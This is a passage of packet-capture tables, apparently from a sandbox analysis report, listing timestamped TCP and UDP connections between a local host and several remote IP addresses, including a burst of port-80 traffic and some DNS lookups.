Dec 27, 2024 15:05:51.978956938 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.978962898 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.978975058 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.978986025 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.979012966 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.979362965 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.979373932 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.979386091 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.979397058 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.979408026 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.979417086 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.979418993 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.979429960 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.979445934 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.979448080 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.979460001 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.979470968 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.979480982 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.979484081 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.979496002 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.979507923 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.979507923 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.979520082 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.979525089 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.979552984 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.980494022 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.980506897 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.980518103 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.980530977 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.980544090 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.980551958 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.980577946 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.980586052 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.980597019 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.980607033 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.980618954 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.980624914 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.980629921 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.980640888 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.980642080 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.980654001 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.980671883 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.980700970 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.980961084 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.980973005 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.980984926 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.980997086 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.981007099 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.981039047 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.981408119 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.981420040 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.981431961 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.981442928 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.981453896 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.981453896 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.981467009 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.981477976 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.981481075 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.981498957 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.981554031 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.981564999 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.981576920 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.981585979 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.981590033 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.981601000 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.981612921 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.981615067 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.981626987 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.981628895 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.981638908 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.981651068 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.981656075 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.981692076 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.982485056 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.982496977 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.982508898 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.982522011 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.982532024 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.982533932 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.982557058 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.982615948 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.982628107 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.982639074 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.982650995 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.982660055 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.982662916 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.982675076 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.982686043 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.982687950 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.982697964 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.982708931 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.982709885 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.982722044 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.982722998 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.982748985 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.983444929 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.983457088 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.983469009 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.983480930 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.983489037 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.983491898 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.983505011 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.983516932 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.983517885 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.983529091 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.983540058 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.983552933 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.983560085 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.983562946 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.983576059 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.983577013 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.983588934 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.983596087 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.983601093 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.983613014 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.983622074 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.983625889 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.983661890 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.984220028 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.984232903 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.984244108 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.984256029 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.984266043 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.984266996 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.984278917 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.984285116 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.984289885 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.984302044 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.984302044 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.984313011 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.984328985 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.984328985 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.984340906 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.984352112 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.984354973 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.984364033 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.984371901 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.984375954 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.984386921 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.984396935 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.984416962 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.985079050 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.985091925 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.985101938 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.985114098 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.985125065 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.985130072 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.985142946 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.985152960 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.985162973 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.985173941 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.985186100 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.985193968 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.985198021 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.985205889 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.985209942 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.985222101 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.985225916 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.985233068 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.985244036 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.985253096 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.985255957 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.985269070 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.985270023 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.985280037 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.985287905 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.985312939 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.986247063 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.986258984 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.986270905 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.986283064 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.986294031 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.986304998 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.986308098 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.986320019 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.986330032 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.986331940 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.986344099 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.986345053 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.986356020 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.986367941 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.986377954 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.986380100 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.986392021 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.986399889 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.986411095 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.986418009 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.986423016 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.986437082 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:51.986444950 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:51.986485958 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:52.000844002 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:52.904829025 CET	443	49764	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:52.904973984 CET	49764	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:52.907912970 CET	49764	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:52.907927036 CET	443	49764	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:52.908162117 CET	443	49764	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:52.909749031 CET	49764	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:52.909809113 CET	49764	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:52.909817934 CET	443	49764	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:52.909938097 CET	49764	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:52.951335907 CET	443	49764	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:53.572038889 CET	443	49764	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:53.572124958 CET	443	49764	20.198.118.190	192.168.2.6
Dec 27, 2024 15:05:53.572329998 CET	49764	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:53.572472095 CET	49764	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:05:53.572491884 CET	443	49764	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:05.740590096 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:06:06.476067066 CET	49811	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:06:06.476119041 CET	443	49811	142.250.181.68	192.168.2.6
Dec 27, 2024 15:06:06.476206064 CET	49811	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:06:06.476442099 CET	49811	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:06:06.476469040 CET	443	49811	142.250.181.68	192.168.2.6
Dec 27, 2024 15:06:08.158571959 CET	49817	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:08.158593893 CET	443	49817	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:08.158778906 CET	49817	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:08.159406900 CET	49817	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:08.159418106 CET	443	49817	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:08.266988993 CET	443	49811	142.250.181.68	192.168.2.6
Dec 27, 2024 15:06:08.288008928 CET	49811	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:06:08.288038969 CET	443	49811	142.250.181.68	192.168.2.6
Dec 27, 2024 15:06:08.292260885 CET	443	49811	142.250.181.68	192.168.2.6
Dec 27, 2024 15:06:08.292325974 CET	49811	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:06:08.295382977 CET	49811	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:06:08.295521021 CET	443	49811	142.250.181.68	192.168.2.6
Dec 27, 2024 15:06:08.340219021 CET	49811	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:06:08.340241909 CET	443	49811	142.250.181.68	192.168.2.6
Dec 27, 2024 15:06:08.387214899 CET	49811	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:06:10.633057117 CET	443	49817	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:10.633152962 CET	49817	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:10.635025978 CET	49817	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:10.635036945 CET	443	49817	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:10.635337114 CET	443	49817	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:10.665349960 CET	49817	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:10.665677071 CET	49817	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:10.665688038 CET	443	49817	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:10.666304111 CET	49817	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:10.707333088 CET	443	49817	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:11.345459938 CET	443	49817	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:11.345618963 CET	443	49817	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:11.346048117 CET	49817	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:11.396861076 CET	49817	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:11.396891117 CET	443	49817	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:17.942163944 CET	443	49811	142.250.181.68	192.168.2.6
Dec 27, 2024 15:06:17.942235947 CET	443	49811	142.250.181.68	192.168.2.6
Dec 27, 2024 15:06:17.942378044 CET	49811	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:06:18.339493036 CET	49811	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:06:18.339524984 CET	443	49811	142.250.181.68	192.168.2.6
Dec 27, 2024 15:06:28.233437061 CET	49944	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:28.233486891 CET	443	49944	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:28.233606100 CET	49944	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:28.234159946 CET	49944	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:28.234172106 CET	443	49944	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:30.788512945 CET	443	49944	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:30.788630962 CET	49944	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:30.790774107 CET	49944	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:30.790781975 CET	443	49944	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:30.791177988 CET	443	49944	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:30.792886019 CET	49944	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:30.792952061 CET	49944	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:30.792956114 CET	443	49944	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:30.793085098 CET	49944	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:30.835331917 CET	443	49944	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:31.480586052 CET	443	49944	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:31.480792999 CET	443	49944	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:31.480870962 CET	49944	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:31.480971098 CET	49944	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:31.481003046 CET	443	49944	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:50.453109026 CET	50002	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:50.453161001 CET	443	50002	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:50.453233004 CET	50002	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:50.453826904 CET	50002	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:50.453843117 CET	443	50002	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:52.667354107 CET	443	50002	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:52.667445898 CET	50002	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:52.669307947 CET	50002	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:52.669320107 CET	443	50002	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:52.669668913 CET	443	50002	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:52.671551943 CET	50002	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:52.671632051 CET	50002	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:52.671638012 CET	443	50002	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:52.671776056 CET	50002	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:52.715331078 CET	443	50002	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:53.333993912 CET	443	50002	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:53.334214926 CET	443	50002	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:53.334445000 CET	50002	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:53.335513115 CET	50002	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:53.335530043 CET	443	50002	20.198.118.190	192.168.2.6
Dec 27, 2024 15:06:53.335549116 CET	50002	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:06:55.777740955 CET	49703	80	192.168.2.6	2.22.50.131
Dec 27, 2024 15:06:55.777781010 CET	49701	443	192.168.2.6	40.126.53.9
Dec 27, 2024 15:06:55.898915052 CET	80	49703	2.22.50.131	192.168.2.6
Dec 27, 2024 15:06:55.898926973 CET	443	49701	40.126.53.9	192.168.2.6
Dec 27, 2024 15:06:55.898991108 CET	49703	80	192.168.2.6	2.22.50.131
Dec 27, 2024 15:06:55.899045944 CET	49701	443	192.168.2.6	40.126.53.9
Dec 27, 2024 15:07:01.648785114 CET	49705	443	192.168.2.6	40.126.53.9
Dec 27, 2024 15:07:01.768827915 CET	443	49705	40.126.53.9	192.168.2.6
Dec 27, 2024 15:07:01.770101070 CET	49705	443	192.168.2.6	40.126.53.9
Dec 27, 2024 15:07:06.399276972 CET	50039	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:07:06.399323940 CET	443	50039	142.250.181.68	192.168.2.6
Dec 27, 2024 15:07:06.399389982 CET	50039	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:07:06.399657011 CET	50039	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:07:06.399672031 CET	443	50039	142.250.181.68	192.168.2.6
Dec 27, 2024 15:07:08.091206074 CET	443	50039	142.250.181.68	192.168.2.6
Dec 27, 2024 15:07:08.091578960 CET	50039	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:07:08.091614008 CET	443	50039	142.250.181.68	192.168.2.6
Dec 27, 2024 15:07:08.091943979 CET	443	50039	142.250.181.68	192.168.2.6
Dec 27, 2024 15:07:08.092289925 CET	50039	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:07:08.092354059 CET	443	50039	142.250.181.68	192.168.2.6
Dec 27, 2024 15:07:08.133200884 CET	50039	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:07:16.375922918 CET	50060	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:07:16.375956059 CET	443	50060	20.198.118.190	192.168.2.6
Dec 27, 2024 15:07:16.376070976 CET	50060	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:07:16.376669884 CET	50060	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:07:16.376681089 CET	443	50060	20.198.118.190	192.168.2.6
Dec 27, 2024 15:07:17.799030066 CET	443	50039	142.250.181.68	192.168.2.6
Dec 27, 2024 15:07:17.799112082 CET	443	50039	142.250.181.68	192.168.2.6
Dec 27, 2024 15:07:17.799146891 CET	50039	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:07:18.462362051 CET	50039	443	192.168.2.6	142.250.181.68
Dec 27, 2024 15:07:18.462393045 CET	443	50039	142.250.181.68	192.168.2.6
Dec 27, 2024 15:07:18.657202959 CET	443	50060	20.198.118.190	192.168.2.6
Dec 27, 2024 15:07:18.657362938 CET	50060	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:07:18.659259081 CET	50060	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:07:18.659275055 CET	443	50060	20.198.118.190	192.168.2.6
Dec 27, 2024 15:07:18.659667015 CET	443	50060	20.198.118.190	192.168.2.6
Dec 27, 2024 15:07:18.661560059 CET	50060	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:07:18.661627054 CET	50060	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:07:18.661633015 CET	443	50060	20.198.118.190	192.168.2.6
Dec 27, 2024 15:07:18.661809921 CET	50060	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:07:18.707329035 CET	443	50060	20.198.118.190	192.168.2.6
Dec 27, 2024 15:07:19.213006973 CET	443	50060	20.198.118.190	192.168.2.6
Dec 27, 2024 15:07:19.213237047 CET	443	50060	20.198.118.190	192.168.2.6
Dec 27, 2024 15:07:19.213352919 CET	50060	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:07:19.213566065 CET	50060	443	192.168.2.6	20.198.118.190
Dec 27, 2024 15:07:19.213577986 CET	443	50060	20.198.118.190	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 15:05:22.263134956 CET	50941	53	192.168.2.6	1.1.1.1
Dec 27, 2024 15:05:22.401511908 CET	53	50941	1.1.1.1	192.168.2.6
Dec 27, 2024 15:06:02.291249037 CET	53	61253	1.1.1.1	192.168.2.6
Dec 27, 2024 15:06:02.292295933 CET	53	56271	1.1.1.1	192.168.2.6
Dec 27, 2024 15:06:05.035893917 CET	53	62845	1.1.1.1	192.168.2.6
